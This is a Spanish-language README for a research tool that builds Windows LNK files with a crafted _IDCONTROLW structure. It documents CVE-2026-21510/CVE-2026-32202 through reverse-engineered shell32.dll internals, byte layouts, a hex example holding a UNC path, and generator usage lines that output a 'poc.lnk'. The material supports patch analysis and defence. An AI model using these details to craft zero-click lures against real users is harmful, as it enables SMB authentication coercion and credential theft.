
Genera archivos LNK con estructuras _IDCONTROLW manipuladas para investigar vulnerabilidades de suplantación de Windows Shell CVE-2026-21510 y CVE-2026-32202, incluyendo ingeniería inversa de los internals de shell32.dll.
python3 CVE-2026-32202.py -h
usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]
Generate a test LNK file with an _IDCONTROLW structure.
Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.
options:
-h, --help show this help message and exit
--unc, -u PATH UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
--out, -o FILE Output LNK filename (default: test_idcontrolw.lnk)
--applet-id, -a INT Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
--name, -n STR Display name of the CPL applet (default: "Research CPL")
--infotip, -i STR Tooltip string (default: "CVE-2026-21510 research")
--no-dump Suppress the hex dump of _IDCONTROLW
Examples:
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump
_IDCONTROLWContexto de investigación: Análisis de CVE-2026-21510 / CVE-2026-32202 (cadena de explotación LNK de APT28).
Basado en Akamai Security Research.
Objetivo: Reconstruir la estructura interna_IDCONTROLWutilizada porshell32.dllpara representar applets del Panel de control dentro de unLinkTargetIDList.
APT28 explotó una vulnerabilidad en Windows Shell (shell32.dll) creando un archivo .lnk malicioso que contenía un LinkTargetIDList con una ruta UNC incrustada dentro de una estructura no documentada _IDCONTROLW. Esto provocó que explorer.exe iniciara una conexión SMB a un servidor controlado por el atacante sin interacción del usuario (zero-click).
La estructura _IDCONTROLW no está documentada en el SDK público de Windows ni en los símbolos PDB públicos de Microsoft para shell32.dll. Este informe documenta su reconstrucción mediante análisis estático en IDA Pro.
Según MS-SHLLINK, el LinkTargetIDList contiene un IDList estándar: una matriz de entradas ItemID de longitud variable terminada por un null de 2 bytes.
En el exploit de APT28, el IDList contiene exactamente tres elementos:
| Índice | Contenido |
|---|---|
IDList[0] | CLSID {26EE0668-A00A-44D7-9371-BEB064C98683} — raíz del Panel de control |
IDList[1] | Elemento CControlPanelCategoryFolder — "Todos los elementos del Panel de control" (categoría 0) |
IDList[2] | _IDCONTROLW — entrada de applet CPL con ruta UNC incrustada |
Esto se resuelve en la ruta virtual:
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\{entrada CPL}
Dado que _IDCONTROLW está ausente de los símbolos PDB públicos, la reconstrucción se realizó rastreando la cadena de llamadas en IDA Pro a partir de CControlPanelFolder::GetUIObjectOf — la función responsable de renderizar los elementos del Panel de control en Explorer.
CControlPanelFolder::GetUIObjectOfCuando Explorer renderiza una carpeta que contiene el LNK malicioso, llama a GetUIObjectOf para extraer un icono para el elemento CPL. Esto desencadena la siguiente cadena:
CControlPanelFolder::GetUIObjectOf
└── CControlPanelFolder::GetModuleMapped ← PathFileExistsW se activa aquí (CVE-2026-32202)
└── CControlPanelFolder::GetModule
└── CControlPanelFolder::_IsUnicodeCPLWorker ← detecta _IDCONTROLW
_IsUnicodeCPLWorker — validación de estructuraconst struct _IDCONTROLW *__thiscall
CControlPanelFolder::_IsUnicodeCPLWorker(_WORD *this)
{
if ( *this > 0x18u // cb > 24
&& !*(this + 4) // +0x08 == 0
&& !*(this + 5) // +0x0A == 0
&& !*((_BYTE *)this + 12) // +0x0C == 0
&& *((_BYTE *)this + 13) == 106 ) // +0x0D == 0x6A
return (const struct _IDCONTROLW *)this;
return nullptr;
}
Esto revela el marcador Unicode en el offset +0x0D = 0x6A.
CControlPanelFolder::GetModule — acceso a campos// Ruta Unicode leída desde el offset +0x18 (v5[1] = &structure[1] = +0x18):
v10 = StringCchCopyW((size_t)&v6[1], v12, savedregs);
// Fallback ANSI lee desde el offset +0x0C:
v7 = SHAnsiToUnicode((PCSTR)(v6 + 12), a1, (int)cwchBuf) == 0;
Esto confirma que la ruta Unicode (ModulePath) comienza en +0x18.
_IDControlCreateW — construcción de la estructuraint __userpurge _IDControlCreateW@<eax>(...)
{
v8 = wcslen(a2); // len(ModulePath)
v9 = 2 * wcslen(a3) + 2; // sizeof(Name) en bytes
v10 = 2 * v8 + 4 + v9 + 2 * wcslen(a4); // tamaño total de datos
v11 = ILCreate(v10 + 26); // alloc: datos + cabecera 0x1A
v11[1] = a1; // +0x04: dwAppletID
*((_BYTE*)v11 + 13) = 106; // +0x0D: typeFlag = 0x6A
*((_WORD*)v11 + 10) = (2*v8+2) >> 1; // +0x14: cchModule
*((_WORD*)v11 + 11) = *((_WORD*)v11+10) + (v9>>1); // +0x16: offName
*(_WORD*)v11 = v10 + 24; // +0x00: cb
// cadenas escritas en +0x18
}
_IDCONTROLW reconstruidastruct _IDCONTROLW {
WORD cb; // +0x00 tamaño de toda la estructura (incluyendo cb)
WORD pad1; // +0x02 relleno, siempre 0
DWORD dwAppletID; // +0x04 ID del applet (negativo para CPL registrados, p. ej. -201 = 0xFFFFFF37)
WORD pad2; // +0x08 siempre 0 (verificado por _IsUnicodeCPLWorker)
WORD pad3; // +0x0A siempre 0 (verificado por _IsUnicodeCPLWorker)
BYTE pad4; // +0x0C siempre 0 (verificado por _IsUnicodeCPLWorker)
BYTE typeFlag; // +0x0D = 0x6A — marcador CPL Unicode
WORD pad5; // +0x0E relleno
DWORD pad6; // +0x10 relleno
WORD cchModule; // +0x14 longitud de ModulePath en WCHAR (incluyendo terminador null)
WORD offName; // +0x16 offset de Name desde el inicio de data[] en WCHAR
WCHAR data[1]; // +0x18 ModulePath\0Name\0InfoTip (UTF-16LE)
};
| Offset | Tamaño | Campo | Valor / Notas |
|---|---|---|---|
+0x00 | WORD | cb | Tamaño total de la estructura |
+0x02 | WORD | pad1 | 0 |
+0x04 | DWORD | dwAppletID | ID del applet (p. ej. 0xFFFFFF37 = -201) |
+0x08 | WORD | pad2 | 0 — validado por _IsUnicodeCPLWorker |
+0x0A | WORD | pad3 | 0 — validado por _IsUnicodeCPLWorker |
+0x0C | BYTE | pad4 | 0 — validado por _IsUnicodeCPLWorker |
+0x0D | BYTE | typeFlag | 0x6A — marcador Unicode |
+0x0E | WORD | pad5 | 0 |
+0x10 | DWORD | pad6 | 0 |
+0x14 | WORD | cchModule | wcslen(ModulePath) + 1 |
+0x16 | WORD | offName | cchModule (Name sigue inmediatamente a ModulePath) |
+0x18 | WCHAR[] | data[] | ModulePath\0Name\0InfoTip (UTF-16LE) |
_IDCONTROL vs _IDCONTROLWLa versión ANSI (_IDCONTROL) es creada por _IDControlCreateA y utiliza un diseño diferente:
struct _IDCONTROL {
WORD cb; // +0x00 = total_size + 12
WORD flags; // +0x02
DWORD dwAppletID; // +0x04
WORD cchModule; // +0x08 strlen(ModulePath) + 1
WORD offName; // +0x0A cchModule + strlen(Name) + 1
CHAR data[1]; // +0x0C ModulePath\0Name\0InfoTip (ANSI)
};
Diferencias clave:
| Propiedad | _IDCONTROL (ANSI) | _IDCONTROLW (Unicode) |
|---|---|---|
| Tamaño de cabecera | 0x0C (12 bytes) | 0x18 (24 bytes) |
| Codificación de cadenas | ANSI (char) | UTF-16LE (WCHAR) |
| Marcador Unicode | ausente | +0x0D = 0x6A |
| Detección | _IsUnicodeCPLWorker devuelve nullptr | devuelve puntero |
| Offset de inicio de ruta | +0x0C | +0x18 |
{26EE0668-...})1F 50 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83
Tipo 0x1F = elemento shell raíz con CLSID.
Reconstruido a partir de CControlPanelCategoryFolder::CreateIDList:
*(_WORD*)v5 = 12; // cb = 0x0C
*((_WORD*)v5 + 1) = 1; // flags = 0x0001
v5[1] = 0x39DE2184; // identificador mágico
v5[2] = 0; // índice de categoría = 0
Binario:
0C 00 01 00 84 21 DE 39 00 00 00 00
_IDCONTROLW con ruta UNCEjemplo con \\192.168.1.31\share\test.cpl:
9E 00 — cb = 158
00 00 — pad1
37 FF FF FF — dwAppletID = -201
00 00 — pad2
00 00 — pad3
00 — pad4
6A — typeFlag = 0x6A ✓
00 00 00 00 00 00 — pad5 + pad6
1E 00 — cchModule = 30
1E 00 — offName = 30
5C 00 5C 00 ... — \\192.168.1.31\share\test.cpl (UTF-16LE)
La cadena de vulnerabilidad en la versión sin parchear:
Explorer renderiza la carpeta
→ CControlPanelFolder::GetUIObjectOf (solicitud de extracción de icono)
→ CControlPanelFolder::GetModuleMapped
→ PathFileExistsW(pszPath) ← la conexión SMB se inicia AQUÍ
El parche de Microsoft (CVE-2026-21510) introdujo ControlPanelLinkSite que añade verificación SmartScreen mediante IVerifyingTrust::OnVerifyingTrust — pero solo en la etapa de ShellExecuteExW. La llamada a PathFileExistsW en GetModuleMapped ocurre antes en la cadena y no fue abordada, dejando CVE-2026-32202 (coerción de autenticación) sin parchear hasta una actualización posterior.
La información proporcionada en este repositorio es solo con fines educativos e informativos. El autor no respalda ni se hace responsable de ningún uso ilegal, malicioso o poco ético del material presentado. Las técnicas y conceptos discutidos no deben aplicarse a sistemas o redes sin la autorización adecuada. El autor no es responsable de ningún daño, consecuencia legal o pérdida resultante del mal uso de esta información. Se anima a los lectores a cumplir con todas las leyes y directrices aplicables en materia de prácticas de ciberseguridad.